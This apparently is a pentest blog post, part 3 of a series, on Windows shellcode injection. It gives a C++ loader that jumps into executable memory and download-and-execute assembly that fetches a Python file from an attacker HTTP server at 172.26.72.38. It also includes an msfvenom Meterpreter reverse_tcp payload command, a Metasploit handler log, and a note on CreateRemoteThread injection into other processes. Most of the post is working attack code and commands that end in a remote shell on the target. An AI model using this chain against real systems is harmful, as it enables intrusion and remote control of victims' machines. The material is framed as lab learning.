{{tag>IT-Security Windows Kali pentest blog english}} ====== Shellcode Injection Part 3 ====== {{it-security:blog:shellcode-part-3.png?400|}} Shellcode injections are generally used to initiate a reverse shell. However, in some circumstances it may be necessary to load the code for the shell in the second step. In this blog post, I show how we can use a shellcode injection to load a file via HTTP and then execute it. \\ \\ ===== Code ===== ==== C++ source ==== First, we need a small programme that loads the shellcode into memory and then jumps into it. ... //buf represents the shellcode unsigned char buf[] = "\xeb\x74\x31\...\x69\x70\x00"; int main(int argc, char** argv) { ... //allocate memory void* stage = VirtualAlloc(0, 0x1000, 0x1000, 0x40); void (*target)(); ... //move the shellcode into memory memmove(stage, buf, 0x1000); ... //move shellcode address to eax and jump __asm { mov eax, target jmp eax } } You can find the complete code in the [[https://github.com/psycore8/nosoc-shellcode/tree/main/nosoc-shellcode-3|Repository]]. \\ \\ ==== Assembly ==== A well documented assembler code can be found in the [[https://github.com/stephenbradshaw/shellcode/blob/master/descript.asm|Repository by Stephen Bradshaw]]. === Customise assembly === The code executes a downloaded VBS file. However, we want to start a Python script that creates a Meterpreter shell. To do this, we change the following places: ;Zeile 143 / +7 marks the beginning of the filename (WindowsAgent.py) lea edx, [esi + 7] ;Zeile 184 / command line to execute db "python WindowsAgent.py", 0 ;Zeile 192 / our URL db "http://172.26.72.38/nat.zip", 0 \\ \\ === Create shellcode === We have to create the shellcode as ''%%x86 Windows%%'' binary file. We do this with ''%%nasm%%'': nasm -f win32 download.asm -o shellcode.o We now let the binary ''%%C++%%'' friendly display: objdump -D ./shellcode.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' We use the output as shellcode in our ''%%C++%%'' code and compile our project. \\ \\ === Test shellcode === To understand the shellcode, we then debug the programme. We search for the call of the function ''%%main()%%'' {{it-security:blog:2024-120_-1.png}} From ''%%main()%%'' we are looking for the jump to the shellcode memory area. In our program, we have implemented this with inline assembly: ''%%call eax%%''. This looks like this in the debugger: {{it-security:blog:2024-120_-2.png}} If we now jump in, we see our shellcode: {{it-security:blog:2024-120_-3.png}} From here we can understand and test the procedures. \\ \\ ===== Payload ===== ==== Prepare metrepreter payload ==== As mentioned at the beginning, we want to create a Meterpreter shell using Python. So we need a corresponding payload. We generate this with ''%%msfvenom%%''. msfvenom -p python/meterpreter/reverse_tcp LHOST=172.26.72.38 LPORT=4500 > payload.py The shellcode loads the file ''%%nat.zip%%'' from an HTTP server, saves it as ''%%WindowsAgent.py%%'' and then executes it. So we prepare this accordingly: cp payload.py nat.zip python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... Last but not least, we need a Metasploit handler that receives our shell. This can be created using the script ''%%nosoc3.rc%%'' script: msf6 > resource nosoc3.rc [*] Processing /home/kali/nosoc3.rc for ERB directives. resource (/home/kali/nosoc3.rc)> use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp resource (/home/kali/nosoc3.rc)> set payload python/meterpreter/reverse_tcp payload => python/meterpreter/reverse_tcp resource (/home/kali/nosoc3.rc)> set lhost 0.0.0.0 lhost => 0.0.0.0 resource (/home/kali/nosoc3.rc)> set lport 4500 lport => 4500 resource (/home/kali/nosoc3.rc)> run [*] Started reverse TCP handler on 0.0.0.0:4500 Now everything is ready. \\ \\ ==== Attack ==== Now start the programme on the target PC. {{it-security:blog:2024-120_-4.png}} The Python script is downloaded: {{it-security:blog:2024-120_-5.png}} And finally we are greeted by a Meterpreter shell: {{it-security:blog:2024-120_-6.png}} \\ \\ ===== CreateRemoteThread ===== Of course, we can also inject the shellcode into external processes. An example programme for this is also available in the repository. To start, the target PID must be passed as an argument: RemoteInject.exe 10001 \\ \\ ===== Repository ===== git clone https://github.com/psycore8/nosoc-shellcode ~~DISCUSSION~~